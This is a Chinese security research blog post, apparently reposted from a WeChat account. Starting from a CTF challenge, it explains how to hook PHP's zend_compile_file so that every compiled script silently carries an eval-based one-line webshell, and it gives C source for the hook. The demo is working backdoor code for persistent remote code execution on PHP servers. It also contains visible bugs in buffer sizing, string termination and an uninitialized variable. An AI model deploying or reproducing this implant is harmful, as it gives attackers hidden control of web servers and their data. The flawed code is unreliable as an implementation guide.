最近在研究西湖论剑一道WEB题目时,对一道PHP加密的题目很有兴趣,具体驶入如何实现网上检索一番只有PHP-HOOK-EVAL的源码并没有实现整个PHP源码加解密的源码,但是提供了具体实现的思路,就是HOOK-zend_compile_file来实现。具体如何实现我们直接进入主题。
前期我已经下载了该题目的扩展,我们直接将其放入IDA中反编译,进行代码审计。
从代码中我们可以发现改该题目就是HOOK-zend_compile_file.
zend_compile_file是PHP内核中的一个函数,它的作用是将PHP源代码编译成字节码文件。在PHP执行源代码之前,需要将源代码编译成字节码,这个过程就是由zend_compile_file函数完成的。
我们看一下该函数的原型,可以看到该函数返回的是一个zend_op_array
,处理的参数有zend_file_handle
,int type
,既然我们要hook,只需要处理这两个参数然后将处理完的值传给zend_compile_file
即可。
static zend_op_array zend_compile_file(zend_file_handle *file_handle, int type TSRMLS_DC);
其中zend_file_handle
是PHP内核中的一个结构体,用于表示一个打开的文件句柄。它包含了文件名、文件指针、文件状态等信息,可以用于读取、写入、关闭文件等操作。
zend_file_handle结构体的定义如下:
typedef struct _zend_file_handle {
char *filename; // 文件名
char *opened_path;// 实际打开的文件路径
zend_stream handle; // 文件指针
int type; // 文件类型
int free_filename; // 是否需要释放 filename
int opened_path_length; // 实际打开的文件路径长度
} zend_file_handle;
其中,字段的含义如下:
-
filename:文件名。 -
opened_path:实际打开的文件路径。 -
handle:文件指针,类型为zend_stream。 -
type:文件类型,可以是ZEND_HANDLE_FILENAME、ZEND_HANDLE_FD等。 -
free_filename:是否需要释放filename。 -
opened_path_length:实际打开的文件路径长度。
zend_file_handle结构体主要用于在PHP内核中打开、读取、写入、关闭文件等操作。在PHP源代码编译过程中,zend_file_handle结构体也扮演着重要的角色,它可以帮助PHP内核将源代码文件转换成字节码文件。
既然是结构体那就很简单了,我们可以通过这个结构体获取当前处理的PHP文件的路径,将其读取后存到其他路径下然后在我们存放的文件下加上后门代码即可。具体原理图如下:
本题目插件的视线逻辑也是如此。
PHP中的HOOK其实是一个函数的重写,我们只需要将原函数的指针保存,然后重写zend_compile_file,在处理完参数后再次调用原函数即可。基本实现demo如下,实现逻辑非常简单,我们劫持file_handle,获取原文件的地址,将源文件读取后再文件内容后面拼接一个一句话木马保存到/tmp/gqleung.php,再用zend_stream_open创建一个新的zend_file_handle将新的zend_file_handle传给源函数。
static zend_op_array *my_compile_file(zend_file_handle *file_handle, int type TSRMLS_DC)
{
const char *filename;
const char * myfilename;
zend_op_array *result;
FILE * oldfile;
zend_file_handle new_file;
myfilename = "/tmp/gqleung.php";
int newtype;
filename = file_handle->filename;
oldfile = fopen(file_handle->filename, "rb");
fseek(oldfile, 0, SEEK_END);
long size = ftell(oldfile);
rewind(oldfile);
char *backdoor = "?><?php eval($_POST['fuck']);?>";
char *buffer = (char *)malloc(size+sizeof(backdoor)+1);
fread(buffer, size, 1, oldfile);
fclose(oldfile);
strcat(buffer, backdoor);
FILE *fp = fopen(myfilename, "wb");
size_t len = strlen(buffer);
size_t n = fwrite(buffer, sizeof(char), len, fp);
int flag = zend_stream_open(myfilename, &new_file);
fclose(fp);
free(buffer);
return orig_compile_file(&new_file, newtype);
}
可以看到虽然PHP文件没有代码,但是我们劫持内核函数后可以仍然可以执行一句话木马。
原文始发于微信公众号(山石网科安全技术研究院):劫持PHP内核函数实现后门持久化的研究
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论